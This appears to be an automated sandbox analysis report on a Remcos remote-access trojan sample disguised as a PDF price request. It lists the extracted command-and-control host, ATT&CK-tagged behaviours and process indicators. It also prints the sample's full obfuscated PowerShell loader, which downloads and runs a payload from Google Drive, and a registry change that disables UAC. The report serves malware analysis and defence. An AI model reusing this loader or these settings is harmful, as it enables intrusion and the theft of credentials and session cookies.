remcos | 620846d91db9831c401a6bcfa17d59a216c3aafaa2d4094498e828d0c8e427ac

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-11-2024 05:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Narxlarni so'rash (SOLIS TRACTORS UZBEKISTAN) 2024·pdf.vbs
Size

15KB
MD5

57a98d83eebfd7536413c107b5561bcd
SHA1

ab660a6cdb0bd632e307fb5b69f895df31ef4c67
SHA256

1b32b2a0b09264362731fefb3212dd89d0c5a588e202fe8cb0cc07b0612b06ae
SHA512

9c985a943bcd416e290374c29619dfd7011450f8d469b3d899de2235a2dd79d2b1eb5d845ea199ecd95f5349f2fec137aab02bc46697f778a8ee95376ce80608
SSDEEP

384:YwAAp2YC86mHC6GpbW+lqPIjijLUgZSPDctjjPhnwLCeFFBDq43UVcm9:YopU6OqPy6LUgaGvlwLZFFBD/3UqY

Score

10^/10

remcos remotehost collection credential_access discovery evasion rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

tr2vobvq.duckdns.org:3613

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-4S2GUG
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/704-89-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1060-88-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4868-95-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/704-89-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1060-88-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

flow	pid	Process
4	3216	WScript.exe
8	5048	powershell.exe
10	5048	powershell.exe
25	1884	msiexec.exe
27	1884	msiexec.exe
31	1884	msiexec.exe
33	1884	msiexec.exe
35	1884	msiexec.exe
48	1884	msiexec.exe
49	1884	msiexec.exe
50	1884	msiexec.exe
51	1884	msiexec.exe
53	1884	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4460	Chrome.exe
1716	Chrome.exe
1096	msedge.exe
3952	msedge.exe
4556	Chrome.exe
3940	Chrome.exe
1672	msedge.exe
668	msedge.exe
5028	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com
25	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1884	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
640	powershell.exe
1884	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1884 set thread context of 1060	1884	msiexec.exe	112
PID 1884 set thread context of 704	1884	msiexec.exe	113
PID 1884 set thread context of 4868	1884	msiexec.exe	114

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2608	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5048	powershell.exe
5048	powershell.exe
640	powershell.exe
640	powershell.exe
640	powershell.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1060	msiexec.exe
1060	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
4868	msiexec.exe
4868	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1060	msiexec.exe
1060	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
4556	Chrome.exe
4556	Chrome.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
640	powershell.exe
1884	msiexec.exe
1884	msiexec.exe
1884	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
1672	msedge.exe
1672	msedge.exe
1672	msedge.exe
1672	msedge.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	4868	msiexec.exe
Token: SeShutdownPrivilege	4556	Chrome.exe
Token: SeCreatePagefilePrivilege	4556	Chrome.exe
Token: SeShutdownPrivilege	4556	Chrome.exe
Token: SeCreatePagefilePrivilege	4556	Chrome.exe
Token: SeShutdownPrivilege	4556	Chrome.exe
Token: SeCreatePagefilePrivilege	4556	Chrome.exe
Token: SeShutdownPrivilege	4556	Chrome.exe
Token: SeCreatePagefilePrivilege	4556	Chrome.exe
Token: SeShutdownPrivilege	4556	Chrome.exe
Token: SeCreatePagefilePrivilege	4556	Chrome.exe
Token: SeShutdownPrivilege	4556	Chrome.exe
Token: SeCreatePagefilePrivilege	4556	Chrome.exe
Token: SeShutdownPrivilege	4556	Chrome.exe
Token: SeCreatePagefilePrivilege	4556	Chrome.exe
Token: SeShutdownPrivilege	4556	Chrome.exe
Token: SeCreatePagefilePrivilege	4556	Chrome.exe
Token: SeShutdownPrivilege	4556	Chrome.exe
Token: SeCreatePagefilePrivilege	4556	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4556	Chrome.exe
1672	msedge.exe
1672	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1884	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3216 wrote to memory of 5048	3216	WScript.exe	84
PID 3216 wrote to memory of 5048	3216	WScript.exe	84
PID 640 wrote to memory of 1884	640	powershell.exe	102
PID 640 wrote to memory of 1884	640	powershell.exe	102
PID 640 wrote to memory of 1884	640	powershell.exe	102
PID 640 wrote to memory of 1884	640	powershell.exe	102
PID 1884 wrote to memory of 3616	1884	msiexec.exe	106
PID 1884 wrote to memory of 3616	1884	msiexec.exe	106
PID 1884 wrote to memory of 3616	1884	msiexec.exe	106
PID 3616 wrote to memory of 2608	3616	cmd.exe	108
PID 3616 wrote to memory of 2608	3616	cmd.exe	108
PID 3616 wrote to memory of 2608	3616	cmd.exe	108
PID 1884 wrote to memory of 4556	1884	msiexec.exe	110
PID 1884 wrote to memory of 4556	1884	msiexec.exe	110
PID 4556 wrote to memory of 3580	4556	Chrome.exe	111
PID 4556 wrote to memory of 3580	4556	Chrome.exe	111
PID 1884 wrote to memory of 1060	1884	msiexec.exe	112
PID 1884 wrote to memory of 1060	1884	msiexec.exe	112
PID 1884 wrote to memory of 1060	1884	msiexec.exe	112
PID 1884 wrote to memory of 1060	1884	msiexec.exe	112
PID 1884 wrote to memory of 704	1884	msiexec.exe	113
PID 1884 wrote to memory of 704	1884	msiexec.exe	113
PID 1884 wrote to memory of 704	1884	msiexec.exe	113
PID 1884 wrote to memory of 704	1884	msiexec.exe	113
PID 1884 wrote to memory of 4868	1884	msiexec.exe	114
PID 1884 wrote to memory of 4868	1884	msiexec.exe	114
PID 1884 wrote to memory of 4868	1884	msiexec.exe	114
PID 1884 wrote to memory of 4868	1884	msiexec.exe	114
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4616	4556	Chrome.exe	116
PID 4556 wrote to memory of 4284	4556	Chrome.exe	117
PID 4556 wrote to memory of 4284	4556	Chrome.exe	117
PID 4556 wrote to memory of 3736	4556	Chrome.exe	118
PID 4556 wrote to memory of 3736	4556	Chrome.exe	118
PID 4556 wrote to memory of 3736	4556	Chrome.exe	118
PID 4556 wrote to memory of 3736	4556	Chrome.exe	118

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Narxlarni so'rash (SOLIS TRACTORS UZBEKISTAN) 2024·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Geochemically Ejerlst Attributnavns Fortrende Feminality Hereticas #><#Afluringernes Pestbyld Panpipes #>$Thongy='Forraadnelsernes';function Counterreforms($Kubikindholds){If ($host.DebuggerEnabled) {$Elefantordnerne=4} for ($Pseudosymmetrical123=$Elefantordnerne;;$Pseudosymmetrical123+=5){if(!$Kubikindholds[$Pseudosymmetrical123]) { break }$Skydeskive+=$Kubikindholds[$Pseudosymmetrical123]}$Skydeskive}function Natbordets($Dokhavns){ .($Gallinule) ($Dokhavns)}$Akademiserings=Counterreforms 'VincnLoynEA peTPeri.SlaawVensehomob KntC Ulfl.yclIVitrECultNReplt';$Officialese=Counterreforms 'R toMBut oCl nzFulliadd,lBiffl We aPe,p/';$Buttes=Counterreforms 'bestT betlA grs fug1 nke2';$Logaritmen='Pogr[Ma dnKomtespriTMeth.S enSLusceVicurIn,ovFinniFil,CIbr e,ejiPForhO raiPiroNGranT PorMSikkALsean OptA BosGP rieCephRYuru]Dobb:Icon:Re tSVexae UdecMarkUFeltR Un iVatttUpbuY duppTintRSpo OAfskt edsoHo.pcThr,oportL,arz=Stri$ remBCentulagetUdarT SkeeMakrS';$Officialese+=Counterreforms 'Coun5Fis..Alky0Flex Omfo( DisWLeuciIncanMermdOveroBredwPrefsMont AlchNYderTUnp Fjer1Carr0 P i.Cine0phot; san CentWUvgeiShepnSvin6Beza4o ea;Sade Me.txBuks6Kru 4Hind;Holo dlr FodvE ke: Swa1Tran3 hyl1 rak.Affa0Indb)D.co IdriGHarce Pr cConvk L,goKr k/ Ind2Nv e0F mi1Sc l0Unwi0 ho1 War0Birt1Hand BydeFSynciSys,r udeeUp.lf LeaoSt.mxYear/G.ns1Real3unbu1Depo.Merc0';$Outlearning=Counterreforms 'MidtU oarsAccleh verTrag- EndA W.aGEleceSpadNRebet';$Foreskriver=Counterreforms 'FilihKom tAngrt Qu p UnasChom:Telo/Lim /AfsvdSolbrbeliiSma v T ye Per. ieg Eduo Ga.ojerngOve lSupeeGraf. StjcCo,noSnkemUltr/EneruKa ec Str? MuleFastxFr lp Retostifr lkytMil,=krybdSgetoKanawStrinIndsl jefoSinga svadAuto&TrvaiI otd R d=S ag1NatraNedfAmuseZVoteB rafNOust5Snob- BukV Regw Se,xRatoq ,toxUgudsEmanSNynauFaneP SupBMathMEnchX Bar2Uns,8TricVFod.RBe.muUnusbOve UT ebnZeeiH UdvxHemo8Desao KluJ';$Kodelaasene231=Counterreforms 'Nonc>';$Gallinule=Counterreforms 'PhasIT,roeManeX';$Ransackers='Standardprogrammers';$Artolater='\Ostentation.Non';Natbordets (Counterreforms 'Pig $SkriG VenladopO Sh BDereALa.elFluo: HypPResuO Le,s etetpeireKejsx Sadi Jens GottAmerESaloNDeteTW bf=Euch$CoxoEciern fl v sam:HenvaMnempByg PChokDA riAgaudt AspAKany+fo a$ Beta.ubrrFedntR,gaoI.dsl C aASport SupEKurtr');Natbordets (Counterreforms ' I r$OptlG uneLT,peOO erbO.hyATo vlCh r:Acrik edkRBrani CrugAm.tsA meKPropa GromOverMOblae arbR Para HlotT.ni=,nvi$ C mF psOhygerReb.eforhsDystK ampr AfsIOuttV.ygre,verRBes.. katS injPColllGnawISa.mTtrae(N,en$M trkAfstoMispdSickEChemlBageA Beea,alks .fsE.hotnGrsre ste2Enek3 Rev1Fera)');Natbordets (Counterreforms $Logaritmen);$Foreskriver=$Krigskammerat[0];$Storico123=(Counterreforms 'Gesc$DentgDobbl R mo Spab Hena BefLFi,k:PindE tamPSofahKiesO PacdChorsquoa=G,apn fluEBaciw Kni-Fr bO fskbGobbjbetjEOxy c MesTsai PrepS GeryUngrsPoettAdene OvemDyna.Forb$Curtasuc KOptaA EksdKryde ,amMMikri DaiSHndtEErhvRRundIBrusNCoungMoloS');Natbordets ($Storico123);Natbordets (Counterreforms 'Till$BamaEOpsppAghohTtheoprocdJa rsPeda. ArgH LabePutraRevedMetreFontr BetsU or[Fist$ ,gnO MaruTramtElmal Neke AutaPe srDaarn Syni cann D mgD.bg]Cyc,=Shiv$.aceO Spif.odtfSciliOutscHeliiOpiuaUddilHalveModvsBi.ne');$Pulmotrachearia=Counterreforms 'Trow$CycaEartipR,nshLigno WoodUnf,sConq. anlDT pso Spiw Deln NedlStovoJyllaJackd TrkFForjiEnd lAfs eB,nt(Fear$Sla,FD nkoFor rdi fePilisSkonkJodtrAnvei.elpvGodkeNonsrConv,pret$S,ciBInsilOrniaC,afk SugkMokkeNondd Adee omosFall)';$Blakkedes=$Postexistent;Natbordets (Counterreforms 'Bila$HitcgConjLMinuo isB AkkAKombLskat:S,atpS.igrBortUAldeN enEFlatRb,urs Svo=Opht(mas tOvereOeveSRelitFred-WrigP,nhaaKonstJingh Pro Rum$Camub BunlZe,mAEmbekTel.K satE smadDanseDrabsmyth)');while (!$Pruners) {Natbordets (Counterreforms 'T nd$Necrg analSperoNotabNikkaFo,slm rk:AggrRUneqeSu ecHeteoUme uStenpBri s vi = kum$rengvi daoShipmTrebipseutS lgo') ;Natbordets $Pulmotrachearia;Natbordets (Counterreforms 'Ideos wr,t NarA WesRBio.TUdga- DepSCha,L Bu,eEremeBeziPSy f ,ilf4');Natbordets (Counterreforms ' Ove$K ltGre.tLAntaO,appbundeAMilil Liv: AmapSkrar H.rUKre nSkidEoverrJoshs V d=O.rr(KoortStanESorts oveTSkat-ProcPEcteAPoneTVarmHFjol Par$civibTjenLMisraChauKForskSkvaEIncuDV cteMar,SExu )') ;Natbordets (Counterreforms 'Fisk$Ti kGSkruL aboOG,ribCochAF jtLPh l:BasuiTeenn.yudDUforbConfYTaktg BadGFoxeEStauRGlateFrgnnGr es For=Hers$ vivg AfllMycoO devbA,tiALuftLThyr:quinA.einPgodbpRetieFondLStafSTaloiRe.uNEnhuB T,mlTentOSkatmCrissVoveTGhauECapirLacu+ ru+Hunn%Tang$PreckP.larSkudI Dr,gEnteS Spok Br.Ano rmAn oML nse T lrUndeAEnchtPleo.Selec BaroSympuMarcnSmaat') ;$Foreskriver=$Krigskammerat[$Indbyggerens]}$Brilleslangers=325720;$Sensitometrically=31471;Natbordets (Counterreforms 'Kl d$H,angInteLT,llO o,yb emoAUr ilGloc:PersQImpruPhreEkaprrVandiI leLBil LAalbae sp Aand= ryk ExingVildeIjolTFauv-BlaccNa oOSupenSyttt ShaETan NKanoTdr,p Tyvs$I flBraveL IndA RetkBolik Bl ededid IndeDabcS');Natbordets (Counterreforms 'Data$FamigInstlEuchoRettb iladepulHack: Ti,PFormhPityyRotolL gelVesio UnssD,imt P soSnacm C niMon,nAr baVisceGl.n2Udta6Krig Phth=fea, Fr [SammSUtnkyUdbrs StatHegneKn lmFidu. olfCF okoInfrnGenevQu neVentrRepat ta]Orme: ulm:DishFE nerInc,o PremdishB,raga klis useSpec6Breb4Wam S,rokt orsrJestiPrean,ekygsans(Arve$JoguQ enuIn.leRadirCroqiC,rdl urilDro aM xe)');Natbordets (Counterreforms 'Fald$O eyg Un LKystO pirB Pura.ommL,and: MulUMolenLe sfCasta,ensv CroOUltrU C nr sh IUnd,nKoorg lie Medh=n ph Opda[Pre,s etrYEo.uSnsvitHy.eE idemblik.n opT ,smeBondXPercTJon..Dob.eR,laNvinkCBib O,egedLoesi Me NHumogFall]M ga:Inde: ugAEle,sDmmeC Pe.i BigiUnc,. .erGBlinESesqtUnmeS Ex tTetrR G.iI rotNU bogBran(samm$FornpPsycHTeokyLynbl visLsstnOA.tis,etht nnOZippm Deti ,ugnHandA Came Bro2Stet6omby)');Natbordets (Counterreforms 'Malp$DeklG onoL Op oTor.b ,liaCa,tlA ad:Sno FMicrLFdreuFireGP titNonaSPro,KGallYSpaldCaudn FinIBrann LetgChroSRevebOni AEp,cnha,de A tR Hy NPer.eLys,= Ant$L ukuTretnUlstF BroaStorvPaciOS edu ilorDr.fi Fa nClasgHyge.GaluSUhanUAdvebuv.dSCatit rotR RedIPirrNSa,rG Und( Udk$ F uBFlygrWastiRet LVitilVittELouksL.niLTotoACostNNa rg xtreSpjtrPapis Dem,Kont$VaassFluieDimiNSandS subIDiffT teOT ksmTautev ejT HadrKod.IMau,CjemaAElevLCo wL GeyyCinq)');Natbordets $Flugtskydningsbanerne;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5048

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Geochemically Ejerlst Attributnavns Fortrende Feminality Hereticas #><#Afluringernes Pestbyld Panpipes #>$Thongy='Forraadnelsernes';function Counterreforms($Kubikindholds){If ($host.DebuggerEnabled) {$Elefantordnerne=4} for ($Pseudosymmetrical123=$Elefantordnerne;;$Pseudosymmetrical123+=5){if(!$Kubikindholds[$Pseudosymmetrical123]) { break }$Skydeskive+=$Kubikindholds[$Pseudosymmetrical123]}$Skydeskive}function Natbordets($Dokhavns){ .($Gallinule) ($Dokhavns)}$Akademiserings=Counterreforms 'VincnLoynEA peTPeri.SlaawVensehomob KntC Ulfl.yclIVitrECultNReplt';$Officialese=Counterreforms 'R toMBut oCl nzFulliadd,lBiffl We aPe,p/';$Buttes=Counterreforms 'bestT betlA grs fug1 nke2';$Logaritmen='Pogr[Ma dnKomtespriTMeth.S enSLusceVicurIn,ovFinniFil,CIbr e,ejiPForhO raiPiroNGranT PorMSikkALsean OptA BosGP rieCephRYuru]Dobb:Icon:Re tSVexae UdecMarkUFeltR Un iVatttUpbuY duppTintRSpo OAfskt edsoHo.pcThr,oportL,arz=Stri$ remBCentulagetUdarT SkeeMakrS';$Officialese+=Counterreforms 'Coun5Fis..Alky0Flex Omfo( DisWLeuciIncanMermdOveroBredwPrefsMont AlchNYderTUnp Fjer1Carr0 P i.Cine0phot; san CentWUvgeiShepnSvin6Beza4o ea;Sade Me.txBuks6Kru 4Hind;Holo dlr FodvE ke: Swa1Tran3 hyl1 rak.Affa0Indb)D.co IdriGHarce Pr cConvk L,goKr k/ Ind2Nv e0F mi1Sc l0Unwi0 ho1 War0Birt1Hand BydeFSynciSys,r udeeUp.lf LeaoSt.mxYear/G.ns1Real3unbu1Depo.Merc0';$Outlearning=Counterreforms 'MidtU oarsAccleh verTrag- EndA W.aGEleceSpadNRebet';$Foreskriver=Counterreforms 'FilihKom tAngrt Qu p UnasChom:Telo/Lim /AfsvdSolbrbeliiSma v T ye Per. ieg Eduo Ga.ojerngOve lSupeeGraf. StjcCo,noSnkemUltr/EneruKa ec Str? MuleFastxFr lp Retostifr lkytMil,=krybdSgetoKanawStrinIndsl jefoSinga svadAuto&TrvaiI otd R d=S ag1NatraNedfAmuseZVoteB rafNOust5Snob- BukV Regw Se,xRatoq ,toxUgudsEmanSNynauFaneP SupBMathMEnchX Bar2Uns,8TricVFod.RBe.muUnusbOve UT ebnZeeiH UdvxHemo8Desao KluJ';$Kodelaasene231=Counterreforms 'Nonc>';$Gallinule=Counterreforms 'PhasIT,roeManeX';$Ransackers='Standardprogrammers';$Artolater='\Ostentation.Non';Natbordets (Counterreforms 'Pig $SkriG VenladopO Sh BDereALa.elFluo: HypPResuO Le,s etetpeireKejsx Sadi Jens GottAmerESaloNDeteTW bf=Euch$CoxoEciern fl v sam:HenvaMnempByg PChokDA riAgaudt AspAKany+fo a$ Beta.ubrrFedntR,gaoI.dsl C aASport SupEKurtr');Natbordets (Counterreforms ' I r$OptlG uneLT,peOO erbO.hyATo vlCh r:Acrik edkRBrani CrugAm.tsA meKPropa GromOverMOblae arbR Para HlotT.ni=,nvi$ C mF psOhygerReb.eforhsDystK ampr AfsIOuttV.ygre,verRBes.. katS injPColllGnawISa.mTtrae(N,en$M trkAfstoMispdSickEChemlBageA Beea,alks .fsE.hotnGrsre ste2Enek3 Rev1Fera)');Natbordets (Counterreforms $Logaritmen);$Foreskriver=$Krigskammerat[0];$Storico123=(Counterreforms 'Gesc$DentgDobbl R mo Spab Hena BefLFi,k:PindE tamPSofahKiesO PacdChorsquoa=G,apn fluEBaciw Kni-Fr bO fskbGobbjbetjEOxy c MesTsai PrepS GeryUngrsPoettAdene OvemDyna.Forb$Curtasuc KOptaA EksdKryde ,amMMikri DaiSHndtEErhvRRundIBrusNCoungMoloS');Natbordets ($Storico123);Natbordets (Counterreforms 'Till$BamaEOpsppAghohTtheoprocdJa rsPeda. ArgH LabePutraRevedMetreFontr BetsU or[Fist$ ,gnO MaruTramtElmal Neke AutaPe srDaarn Syni cann D mgD.bg]Cyc,=Shiv$.aceO Spif.odtfSciliOutscHeliiOpiuaUddilHalveModvsBi.ne');$Pulmotrachearia=Counterreforms 'Trow$CycaEartipR,nshLigno WoodUnf,sConq. anlDT pso Spiw Deln NedlStovoJyllaJackd TrkFForjiEnd lAfs eB,nt(Fear$Sla,FD nkoFor rdi fePilisSkonkJodtrAnvei.elpvGodkeNonsrConv,pret$S,ciBInsilOrniaC,afk SugkMokkeNondd Adee omosFall)';$Blakkedes=$Postexistent;Natbordets (Counterreforms 'Bila$HitcgConjLMinuo isB AkkAKombLskat:S,atpS.igrBortUAldeN enEFlatRb,urs Svo=Opht(mas tOvereOeveSRelitFred-WrigP,nhaaKonstJingh Pro Rum$Camub BunlZe,mAEmbekTel.K satE smadDanseDrabsmyth)');while (!$Pruners) {Natbordets (Counterreforms 'T nd$Necrg analSperoNotabNikkaFo,slm rk:AggrRUneqeSu ecHeteoUme uStenpBri s vi = kum$rengvi daoShipmTrebipseutS lgo') ;Natbordets $Pulmotrachearia;Natbordets (Counterreforms 'Ideos wr,t NarA WesRBio.TUdga- DepSCha,L Bu,eEremeBeziPSy f ,ilf4');Natbordets (Counterreforms ' Ove$K ltGre.tLAntaO,appbundeAMilil Liv: AmapSkrar H.rUKre nSkidEoverrJoshs V d=O.rr(KoortStanESorts oveTSkat-ProcPEcteAPoneTVarmHFjol Par$civibTjenLMisraChauKForskSkvaEIncuDV cteMar,SExu )') ;Natbordets (Counterreforms 'Fisk$Ti kGSkruL aboOG,ribCochAF jtLPh l:BasuiTeenn.yudDUforbConfYTaktg BadGFoxeEStauRGlateFrgnnGr es For=Hers$ vivg AfllMycoO devbA,tiALuftLThyr:quinA.einPgodbpRetieFondLStafSTaloiRe.uNEnhuB T,mlTentOSkatmCrissVoveTGhauECapirLacu+ ru+Hunn%Tang$PreckP.larSkudI Dr,gEnteS Spok Br.Ano rmAn oML nse T lrUndeAEnchtPleo.Selec BaroSympuMarcnSmaat') ;$Foreskriver=$Krigskammerat[$Indbyggerens]}$Brilleslangers=325720;$Sensitometrically=31471;Natbordets (Counterreforms 'Kl d$H,angInteLT,llO o,yb emoAUr ilGloc:PersQImpruPhreEkaprrVandiI leLBil LAalbae sp Aand= ryk ExingVildeIjolTFauv-BlaccNa oOSupenSyttt ShaETan NKanoTdr,p Tyvs$I flBraveL IndA RetkBolik Bl ededid IndeDabcS');Natbordets (Counterreforms 'Data$FamigInstlEuchoRettb iladepulHack: Ti,PFormhPityyRotolL gelVesio UnssD,imt P soSnacm C niMon,nAr baVisceGl.n2Udta6Krig Phth=fea, Fr [SammSUtnkyUdbrs StatHegneKn lmFidu. olfCF okoInfrnGenevQu neVentrRepat ta]Orme: ulm:DishFE nerInc,o PremdishB,raga klis useSpec6Breb4Wam S,rokt orsrJestiPrean,ekygsans(Arve$JoguQ enuIn.leRadirCroqiC,rdl urilDro aM xe)');Natbordets (Counterreforms 'Fald$O eyg Un LKystO pirB Pura.ommL,and: MulUMolenLe sfCasta,ensv 